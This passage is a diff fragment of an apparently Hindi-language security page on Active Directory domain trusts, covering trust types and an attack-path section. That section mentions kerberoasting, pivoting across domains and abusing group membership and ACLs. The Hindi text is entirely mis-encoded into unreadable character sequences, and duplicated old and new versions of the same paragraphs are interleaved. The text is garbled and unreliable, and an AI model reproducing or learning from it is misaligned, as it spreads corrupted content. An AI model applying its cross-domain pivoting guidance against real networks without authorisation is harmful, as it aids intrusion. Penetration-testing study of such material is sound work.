рд╕рдХреЗрдВрдЧреЗ**ред +рдпрд╣ рдзреНрдпрд╛рди рд░рдЦрдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ **рдПрдХ рдЯреНрд░рд╕реНрдЯ 1-рддрд░рдлрд╛ рдпрд╛ 2-рддрд░рдлрд╛** рд╣реЛ рд╕рдХрддрд╛ рд╣реИред 2-рддрд░рдлрд╛ рд╡рд┐рдХрд▓реНрдк рдореЗрдВ, рджреЛрдиреЛрдВ рдбреЛрдореЗрди рдПрдХ-рджреВрд╕рд░реЗ рдкрд░ рд╡рд┐рд╢реНрд╡рд╛рд╕ рдХрд░реЗрдВрдЧреЗ, рд▓реЗрдХрд┐рди **1-рддрд░рдлрд╛** рдЯреНрд░рд╕реНрдЯ рд╕рдВрдмрдВрдз рдореЗрдВ рдПрдХ рдбреЛрдореЗрди **рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп** рд╣реЛрдЧрд╛ рдФрд░ рджреВрд╕рд░рд╛ **рд╡рд┐рд╢реНрд╡рд╛рд╕ рдХрд░рдиреЗ рд╡рд╛рд▓рд╛** рдбреЛрдореЗрди рд╣реЛрдЧрд╛ред рдЕрдВрддрд┐рдо рдорд╛рдорд▓реЗ рдореЗрдВ, **рдЖрдк рдХреЗрд╡рд▓ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдбреЛрдореЗрди рд╕реЗ рд╡рд┐рд╢реНрд╡рд╛рд╕ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдбреЛрдореЗрди рдХреЗ рдЕрдВрджрд░ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ рдкрд╣реБрдВрдЪ рд╕рдХрддреЗ рд╣реИрдВ**ред рдпрджрд┐ рдбреЛрдореЗрди A, рдбреЛрдореЗрди B рдкрд░ рд╡рд┐рд╢реНрд╡рд╛рд╕ рдХрд░рддрд╛ рд╣реИ, рддреЛ A рд╡рд┐рд╢реНрд╡рд╛рд╕ рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдбреЛрдореЗрди рд╣реИ рдФрд░ B рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, **рдбреЛрдореЗрди A** рдореЗрдВ, рдпрд╣ рдПрдХ **рдЖрдЙрдЯрдмрд╛рдЙрдВрдб рдЯреНрд░рд╕реНрдЯ** рд╣реЛрдЧрд╛; рдФрд░ **рдбреЛрдореЗрди B** рдореЗрдВ, рдпрд╣ рдПрдХ **рдЗрдирдмрд╛рдЙрдВрдб рдЯреНрд░рд╕реНрдЯ** рд╣реЛрдЧрд╛ред **рд╡рд┐рднрд┐рдиреНрди рд╡рд┐рд╢реНрд╡рд╛рд╕ рд╕рдВрдмрдВрдз** -- **рдкреИрд░реЗрдВрдЯ-рдЪрд╛рдЗрд▓реНрдб рдЯреНрд░рд╕реНрдЯ**: рдпрд╣ рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рд╕реЗрдЯрдЕрдк рд╣реИ рдЬреЛ рдПрдХ рд╣реА рдлреЙрд░реЗрд╕реНрдЯ рдХреЗ рднреАрддрд░ рд╣реЛрддрд╛ рд╣реИ, рдЬрд╣рд╛рдБ рдПрдХ рдЪрд╛рдЗрд▓реНрдб рдбреЛрдореЗрди рдЕрдкрдиреЗ рдкреИрд░реЗрдВрдЯ рдбреЛрдореЗрди рдХреЗ рд╕рд╛рде рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдПрдХ рджреЛ-рддрд░рдлрд╛ рдкрд╛рд░рдЧрдореНрдп рдЯреНрд░рд╕реНрдЯ рд░рдЦрддрд╛ рд╣реИред рдореВрд▓ рд░реВрдк рд╕реЗ, рдЗрд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдЕрдиреБрд░реЛрдз рдкреИрд░реЗрдВрдЯ рдФрд░ рдЪрд╛рдЗрд▓реНрдб рдХреЗ рдмреАрдЪ рдирд┐рд░реНрдмрд╛рдз рд░реВрдк рд╕реЗ рдкреНрд░рд╡рд╛рд╣рд┐рдд рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред -- **рдХреНрд░реЙрд╕-рд▓рд┐рдВрдХ рдЯреНрд░рд╕реНрдЯ**: "рд╢реЙрд░реНрдЯрдХрдЯ рдЯреНрд░рд╕реНрдЯ" рдХреЗ рд░реВрдк рдореЗрдВ рд╕рдВрджрд░реНрднрд┐рдд, рдпреЗ рдЪрд╛рдЗрд▓реНрдб рдбреЛрдореЗрди рдХреЗ рдмреАрдЪ рд╕реНрдерд╛рдкрд┐рдд рд╣реЛрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рд╕рдВрджрд░реНрдн рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рддреЗрдЬ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдЬрдЯрд┐рд▓ рдлреЙрд░реЗрд╕реНрдЯ рдореЗрдВ, рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╕рдВрджрд░реНрдн рдЖрдорддреМрд░ рдкрд░ рдлреЙрд░реЗрд╕реНрдЯ рд░реВрдЯ рддрдХ рдпрд╛рддреНрд░рд╛ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдлрд┐рд░ рд▓рдХреНрд╖рд┐рдд рдбреЛрдореЗрди рддрдХред рдХреНрд░реЙрд╕-рд▓рд┐рдВрдХ рдмрдирд╛рдиреЗ рд╕реЗ рдпрд╛рддреНрд░рд╛ рдХреЛ рдЫреЛрдЯрд╛ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рднреМрдЧреЛрд▓рд┐рдХ рд░реВрдк рд╕реЗ рдлреИрд▓реЗ рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдлрд╛рдпрджреЗрдордВрдж рд╣реЛрддрд╛ рд╣реИред -- **рдмрд╛рд╣рд░реА рдЯреНрд░рд╕реНрдЯ**: рдпреЗ рд╡рд┐рднрд┐рдиреНрди, рдЕрд╕рдВрдмрдВрдзрд┐рдд рдбреЛрдореЗрди рдХреЗ рдмреАрдЪ рд╕реНрдерд╛рдкрд┐рдд рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ рд╕реНрд╡рд╛рднрд╛рд╡рд┐рдХ рд░реВрдк рд╕реЗ рдЧреИрд░-рдкрд╛рд░рдЧрдореНрдп рд╣реЛрддреЗ рд╣реИрдВред [Microsoft рдХреЗ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝]() рдХреЗ рдЕрдиреБрд╕рд╛рд░, рдмрд╛рд╣рд░реА рдЯреНрд░рд╕реНрдЯ рдЙрди рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реЛрддреЗ рд╣реИрдВ рдЬреЛ рд╡рд░реНрддрдорд╛рди рдлреЙрд░реЗрд╕реНрдЯ рдХреЗ рдмрд╛рд╣рд░ рдПрдХ рдбреЛрдореЗрди рдореЗрдВ рд╣реИрдВ рдЬреЛ рдлреЙрд░реЗрд╕реНрдЯ рдЯреНрд░рд╕реНрдЯ рджреНрд╡рд╛рд░рд╛ рдЬреБрдбрд╝реЗ рдирд╣реАрдВ рд╣реИрдВред рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдмрд╛рд╣рд░реА рдЯреНрд░рд╕реНрдЯ рдХреЗ рд╕рд╛рде SID рдлрд╝рд┐рд▓реНрдЯрд░рд┐рдВрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдмрдврд╝рд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред -- **рдЯреНрд░реА-рд░реВрдЯ рдЯреНрд░рд╕реНрдЯ**: рдпреЗ рдЯреНрд░рд╕реНрдЯ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдлреЙрд░реЗрд╕реНрдЯ рд░реВрдЯ рдбреЛрдореЗрди рдФрд░ рдПрдХ рдирдП рдЬреЛрдбрд╝реЗ рдЧрдП рдЯреНрд░реА рд░реВрдЯ рдХреЗ рдмреАрдЪ рд╕реНрдерд╛рдкрд┐рдд рд╣реЛрддреЗ рд╣реИрдВред рдЬрдмрдХрд┐ рдпреЗ рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдирд╣реАрдВ рдорд┐рд▓рддреЗ рд╣реИрдВ, рдЯреНрд░реА-рд░реВрдЯ рдЯреНрд░рд╕реНрдЯ рдирдП рдбреЛрдореЗрди рдкреЗрдбрд╝реЛрдВ рдХреЛ рдПрдХ рдлреЙрд░реЗрд╕реНрдЯ рдореЗрдВ рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реЛрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдЙрдиреНрд╣реЗрдВ рдПрдХ рдЕрджреНрд╡рд┐рддреАрдп рдбреЛрдореЗрди рдирд╛рдо рдмрдирд╛рдП рд░рдЦрдиреЗ рдФрд░ рджреЛ-рддрд░рдлрд╛ рдкрд╛рд░рдЧрдореНрдпрддрд╛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред [Microsoft рдХреЗ рдЧрд╛рдЗрдб]() рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдорд┐рд▓ рд╕рдХрддреА рд╣реИред -- **рдлреЙрд░реЗрд╕реНрдЯ рдЯреНрд░рд╕реНрдЯ**: рдпрд╣ рдкреНрд░рдХрд╛рд░ рдХрд╛ рдЯреНрд░рд╕реНрдЯ рджреЛ рдлреЙрд░реЗрд╕реНрдЯ рд░реВрдЯ рдбреЛрдореЗрди рдХреЗ рдмреАрдЪ рдПрдХ рджреЛ-рддрд░рдлрд╛ рдкрд╛рд░рдЧрдореНрдп рдЯреНрд░рд╕реНрдЯ рд╣реИ, рдЬреЛ рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдпреЛрдВ рдХреЛ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП SID рдлрд╝рд┐рд▓реНрдЯрд░рд┐рдВрдЧ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИред +- **рдкреИрд░реЗрдВрдЯ-рдЪрд╛рдЗрд▓реНрдб рдЯреНрд░рд╕реНрдЯ**: рдпрд╣ рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рд╕реЗрдЯрдЕрдк рд╣реИ рдЬреЛ рдПрдХ рд╣реА рд╡рди рдХреЗ рднреАрддрд░ рд╣реЛрддрд╛ рд╣реИ, рдЬрд╣рд╛рдВ рдПрдХ рдЪрд╛рдЗрд▓реНрдб рдбреЛрдореЗрди рдЕрдкрдиреЗ рдкреИрд░реЗрдВрдЯ рдбреЛрдореЗрди рдХреЗ рд╕рд╛рде рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рджреЛ-рддрд░рдлрд╛ рдкрд╛рд░рдЧрдореНрдп рдЯреНрд░рд╕реНрдЯ рд░рдЦрддрд╛ рд╣реИред рдореВрд▓ рд░реВрдк рд╕реЗ, рдЗрд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдЕрдиреБрд░реЛрдз рдкреИрд░реЗрдВрдЯ рдФрд░ рдЪрд╛рдЗрд▓реНрдб рдХреЗ рдмреАрдЪ рдирд┐рд░реНрдмрд╛рдз рд░реВрдк рд╕реЗ рдкреНрд░рд╡рд╛рд╣рд┐рдд рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред +- **рдХреНрд░реЙрд╕-рд▓рд┐рдВрдХ рдЯреНрд░рд╕реНрдЯ**: рдЬрд┐рд╕реЗ "рд╢реЙрд░реНрдЯрдХрдЯ рдЯреНрд░рд╕реНрдЯ" рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ, рдпреЗ рдЪрд╛рдЗрд▓реНрдб рдбреЛрдореЗрди рдХреЗ рдмреАрдЪ рд╕реНрдерд╛рдкрд┐рдд рд╣реЛрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рд╕рдВрджрд░реНрдн рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рддреЗрдЬ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдЬрдЯрд┐рд▓ рд╡рдиреЛрдВ рдореЗрдВ, рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╕рдВрджрд░реНрдн рдЖрдорддреМрд░ рдкрд░ рд╡рди рдХреА рдЬрдбрд╝ рддрдХ рдпрд╛рддреНрд░рд╛ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдлрд┐рд░ рд▓рдХреНрд╖рд┐рдд рдбреЛрдореЗрди рддрдХ рдкрд╣реБрдВрдЪрддреЗ рд╣реИрдВред рдХреНрд░реЙрд╕-рд▓рд┐рдВрдХреНрд╕ рдмрдирд╛рдХрд░, рдпрд╛рддреНрд░рд╛ рдХреЛ рдЫреЛрдЯрд╛ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рднреМрдЧреЛрд▓рд┐рдХ рд░реВрдк рд╕реЗ рдлреИрд▓реЗ рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдлрд╛рдпрджреЗрдордВрдж рд╣реЛрддрд╛ рд╣реИред +- **рдмрд╛рд╣рд░реА рдЯреНрд░рд╕реНрдЯ**: рдпреЗ рд╡рд┐рднрд┐рдиреНрди, рдЕрд╕рдВрдмрдВрдзрд┐рдд рдбреЛрдореЗрди рдХреЗ рдмреАрдЪ рд╕реНрдерд╛рдкрд┐рдд рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ рд╕реНрд╡рд╛рднрд╛рд╡рд┐рдХ рд░реВрдк рд╕реЗ рдЧреИрд░-рдкрд╛рд░рдЧрдореНрдп рд╣реЛрддреЗ рд╣реИрдВред [Microsoft рдХреЗ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝]() рдХреЗ рдЕрдиреБрд╕рд╛рд░, рдмрд╛рд╣рд░реА рдЯреНрд░рд╕реНрдЯ рдЙрди рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реЛрддреЗ рд╣реИрдВ рдЬреЛ рд╡рд░реНрддрдорд╛рди рд╡рди рдХреЗ рдмрд╛рд╣рд░ рдХреЗ рдбреЛрдореЗрди рдореЗрдВ рд╣реИрдВ рдЬреЛ рд╡рди рдЯреНрд░рд╕реНрдЯ рджреНрд╡рд╛рд░рд╛ рдЬреБрдбрд╝реЗ рдирд╣реАрдВ рд╣реИрдВред рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдмрд╛рд╣рд░реА рдЯреНрд░рд╕реНрдЯ рдХреЗ рд╕рд╛рде SID рдлрд╝рд┐рд▓реНрдЯрд░рд┐рдВрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдмрдврд╝рд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +- **рдЯреНрд░реА-рд░реВрдЯ рдЯреНрд░рд╕реНрдЯ**: рдпреЗ рдЯреНрд░рд╕реНрдЯ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рд╡рди рдХреА рдЬрдбрд╝ рдбреЛрдореЗрди рдФрд░ рдПрдХ рдирдП рдЬреЛрдбрд╝реЗ рдЧрдП рдЯреНрд░реА рд░реВрдЯ рдХреЗ рдмреАрдЪ рд╕реНрдерд╛рдкрд┐рдд рд╣реЛрддреЗ рд╣реИрдВред рдЬрдмрдХрд┐ рдпреЗ рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдирд╣реАрдВ рдорд┐рд▓рддреЗ рд╣реИрдВ, рдЯреНрд░реА-рд░реВрдЯ рдЯреНрд░рд╕реНрдЯ рдирдП рдбреЛрдореЗрди рдкреЗрдбрд╝реЛрдВ рдХреЛ рдПрдХ рд╡рди рдореЗрдВ рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реЛрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдЙрдиреНрд╣реЗрдВ рдПрдХ рдЕрджреНрд╡рд┐рддреАрдп рдбреЛрдореЗрди рдирд╛рдо рдмрдирд╛рдП рд░рдЦрдиреЗ рдФрд░ рджреЛ-рддрд░рдлрд╛ рдкрд╛рд░рдЧрдореНрдпрддрд╛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред [Microsoft рдХреЗ рдЧрд╛рдЗрдб]() рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдорд┐рд▓ рд╕рдХрддреА рд╣реИред +- **рд╡рди рдЯреНрд░рд╕реНрдЯ**: рдпрд╣ рдкреНрд░рдХрд╛рд░ рдХрд╛ рдЯреНрд░рд╕реНрдЯ рджреЛ рд╡рди рд░реВрдЯ рдбреЛрдореЗрди рдХреЗ рдмреАрдЪ рдПрдХ рджреЛ-рддрд░рдлрд╛ рдкрд╛рд░рдЧрдореНрдп рдЯреНрд░рд╕реНрдЯ рд╣реИ, рдЬреЛ рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдпреЛрдВ рдХреЛ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП SID рдлрд╝рд┐рд▓реНрдЯрд░рд┐рдВрдЧ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИред - **MIT рдЯреНрд░рд╕реНрдЯ**: рдпреЗ рдЯреНрд░рд╕реНрдЯ рдЧреИрд░-Windows, [RFC4120-рдЕрдиреБрд░реВрдк](https://tools.ietf.org/html/rfc4120) Kerberos рдбреЛрдореЗрди рдХреЗ рд╕рд╛рде рд╕реНрдерд╛рдкрд┐рдд рд╣реЛрддреЗ рд╣реИрдВред MIT рдЯреНрд░рд╕реНрдЯ рдереЛрдбрд╝реЗ рдЕрдзрд┐рдХ рд╡рд┐рд╢реЗрд╖реАрдХреГрдд рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ рдЙрди рд╡рд╛рддрд╛рд╡рд░рдгреЛрдВ рдХреЗ рд▓рд┐рдП рд╣реЛрддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ Windows рдкрд╛рд░рд┐рд╕реНрдерд┐рддрд┐рдХреА рддрдВрддреНрд░ рдХреЗ рдмрд╛рд╣рд░ Kerberos-рдЖрдзрд╛рд░рд┐рдд рдкреНрд░рдгрд╛рд▓рд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдПрдХреАрдХрд░рдг рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред #### **рд╡рд┐рд╢реНрд╡рд╛рд╕ рд╕рдВрдмрдВрдзреЛрдВ рдореЗрдВ рдЕрдиреНрдп рдЕрдВрддрд░** -- рдПрдХ рдЯреНрд░рд╕реНрдЯ рд╕рдВрдмрдВрдз рднреА **рдкрд╛рд░рдЧрдореНрдп** (A рдЯреНрд░рд╕реНрдЯ B, B рдЯреНрд░рд╕реНрдЯ C, рддреЛ A рдЯреНрд░рд╕реНрдЯ C) рдпрд╛ **рдЧреИрд░-рдкрд╛рд░рдЧрдореНрдп** рд╣реЛ рд╕рдХрддрд╛ рд╣реИред -- рдПрдХ рдЯреНрд░рд╕реНрдЯ рд╕рдВрдмрдВрдз рдХреЛ **рджреНрд╡рд┐рджрд┐рд╢реАрдп рдЯреНрд░рд╕реНрдЯ** (рджреЛрдиреЛрдВ рдПрдХ-рджреВрд╕рд░реЗ рдкрд░ рд╡рд┐рд╢реНрд╡рд╛рд╕ рдХрд░рддреЗ рд╣реИрдВ) рдпрд╛ **рдПрдХ-рддрд░рдлрд╛ рдЯреНрд░рд╕реНрдЯ** (рдЙрдирдореЗрдВ рд╕реЗ рдХреЗрд╡рд▓ рдПрдХ рджреВрд╕рд░реЗ рдкрд░ рд╡рд┐рд╢реНрд╡рд╛рд╕ рдХрд░рддрд╛ рд╣реИ) рдХреЗ рд░реВрдк рдореЗрдВ рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +- рдПрдХ рдЯреНрд░рд╕реНрдЯ рд╕рдВрдмрдВрдз рднреА **рдкрд╛рд░рдЧрдореНрдп** рд╣реЛ рд╕рдХрддрд╛ рд╣реИ (A рдЯреНрд░рд╕реНрдЯ B, B рдЯреНрд░рд╕реНрдЯ C, рддреЛ A рдЯреНрд░рд╕реНрдЯ C) рдпрд╛ **рдЧреИрд░-рдкрд╛рд░рдЧрдореНрдп**ред +- рдПрдХ рдЯреНрд░рд╕реНрдЯ рд╕рдВрдмрдВрдз рдХреЛ **рджреНрд╡рд┐рджрд┐рд╢реАрдп рдЯреНрд░рд╕реНрдЯ** (рджреЛрдиреЛрдВ рдПрдХ-рджреВрд╕рд░реЗ рдкрд░ рд╡рд┐рд╢реНрд╡рд╛рд╕ рдХрд░рддреЗ рд╣реИрдВ) рдпрд╛ **рдПрдХ-рддрд░рдлрд╛ рдЯреНрд░рд╕реНрдЯ** (рдХреЗрд╡рд▓ рдЙрдирдореЗрдВ рд╕реЗ рдПрдХ рджреВрд╕рд░реЗ рдкрд░ рд╡рд┐рд╢реНрд╡рд╛рд╕ рдХрд░рддрд╛ рд╣реИ) рдХреЗ рд░реВрдк рдореЗрдВ рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред ### рд╣рдорд▓реЗ рдХрд╛ рдорд╛рд░реНрдЧ @@ -547,14 +550,27 @@ Microsoft **рдлреЙрд░реЗрд╕реНрдЯ** рдХреЛ рд╕реБрд░рдХреНрд╖рд╛ рд╕реАрдорд╛ 1. рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ kerberoast рдПрдХ рдФрд░ рд╡рд┐рдХрд▓реНрдк рд╣реЛ рд╕рдХрддрд╛ рд╣реИред 3. **рдЦрд╛рддреЛрдВ рдХрд╛ рд╕рдордЭреМрддрд╛ рдХрд░реЗрдВ** рдЬреЛ **рдбреЛрдореЗрди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд┐рд╡рдЯ** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред -рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЗ рдкрд╛рд╕ рджреВрд╕рд░реЗ рдбреЛрдореЗрди рдореЗрдВ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ рдкрд╣реБрдБрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рддреАрди рдкреНрд░рд╛рдердорд┐рдХ рддрдВрддреНрд░ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ: +рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЛ рджреВрд╕рд░реЗ рдбреЛрдореЗрди рдореЗрдВ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рддреАрди рдкреНрд░рд╛рдердорд┐рдХ рддрдВрддреНрд░реЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рд╣реЛ рд╕рдХрддреА рд╣реИ: - **рд╕реНрдерд╛рдиреАрдп рд╕рдореВрд╣ рд╕рджрд╕реНрдпрддрд╛**: рдкреНрд░рдореБрдЦреЛрдВ рдХреЛ рдорд╢реАрдиреЛрдВ рдкрд░ рд╕реНрдерд╛рдиреАрдп рд╕рдореВрд╣реЛрдВ рдореЗрдВ рдЬреЛрдбрд╝рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ рд╕рд░реНрд╡рд░ рдкрд░ "рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ" рд╕рдореВрд╣, рдЬреЛ рдЙрдиреНрд╣реЗрдВ рдЙрд╕ рдорд╢реАрди рдкрд░ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред -- **рд╡рд┐рджреЗрд╢реА рдбреЛрдореЗрди рд╕рдореВрд╣ рд╕рджрд╕реНрдпрддрд╛**: рдкреНрд░рдореБрдЦ рднреА рд╡рд┐рджреЗрд╢реА рдбреЛрдореЗрди рдХреЗ рднреАрддрд░ рд╕рдореВрд╣реЛрдВ рдХреЗ рд╕рджрд╕реНрдп рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЗрд╕ рд╡рд┐рдзрд┐ рдХреА рдкреНрд░рднрд╛рд╡рд╢реАрд▓рддрд╛ рдЯреНрд░рд╕реНрдЯ рдХреА рдкреНрд░рдХреГрддрд┐ рдФрд░ рд╕рдореВрд╣ рдХреЗ рджрд╛рдпрд░реЗ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИред -- **рдПрдХреНрд╕реЗрд╕ рдХрдВрдЯреНрд░реЛрд▓ рд▓рд┐рд╕реНрдЯ (ACLs)**: рдкреНрд░рдореБрдЦреЛрдВ рдХреЛ рдПрдХ **ACL** рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ **DACL** рдореЗрдВ **ACEs** рдХреЗ рд░реВрдк рдореЗрдВ, рдЬреЛ рдЙрдиреНрд╣реЗрдВ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ рдкрд╣реБрдБрдЪ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдЬреЛ рд▓реЛрдЧ ACLs, DACLs, рдФрд░ ACEs рдХреЗ рддрдВрддреНрд░ рдореЗрдВ рдЧрд╣рд░рд╛рдИ рд╕реЗ рдЬрд╛рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рдЙрдирдХреЗ рд▓рд┐рдП "[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)" рд╢реАрд░реНрд╖рдХ рд╡рд╛рд▓рд╛ рд╢реНрд╡реЗрдд рдкрддреНрд░ рдПрдХ рдЕрдореВрд▓реНрдп рд╕рдВрд╕рд╛рдзрди рд╣реИред +- **рд╡рд┐рджреЗрд╢реА рдбреЛрдореЗрди рд╕рдореВрд╣ рд╕рджрд╕реНрдпрддрд╛**: рдкреНрд░рдореБрдЦ рд╡рд┐рджреЗрд╢реА рдбреЛрдореЗрди рдХреЗ рднреАрддрд░ рд╕рдореВрд╣реЛрдВ рдХреЗ рд╕рджрд╕реНрдп рднреА рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЗрд╕ рд╡рд┐рдзрд┐ рдХреА рдкреНрд░рднрд╛рд╡рд╢реАрд▓рддрд╛ рдЯреНрд░рд╕реНрдЯ рдХреА рдкреНрд░рдХреГрддрд┐ рдФрд░ рд╕рдореВрд╣ рдХреЗ рджрд╛рдпрд░реЗ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИред +- **рдПрдХреНрд╕реЗрд╕ рдХрдВрдЯреНрд░реЛрд▓ рд▓рд┐рд╕реНрдЯ (ACLs)**: рдкреНрд░рдореБрдЦреЛрдВ рдХреЛ **ACL** рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ **DACL** рдореЗрдВ **ACEs** рдХреЗ рд░реВрдк рдореЗрдВ, рдЬреЛ рдЙрдиреНрд╣реЗрдВ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдЬреЛ рд▓реЛрдЧ ACLs, DACLs, рдФрд░ ACEs рдХреЗ рддрдВрддреНрд░ рдореЗрдВ рдЧрд╣рд░рд╛рдИ рд╕реЗ рдЬрд╛рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рдЙрдирдХреЗ рд▓рд┐рдП тАЬ[An ACE Up The 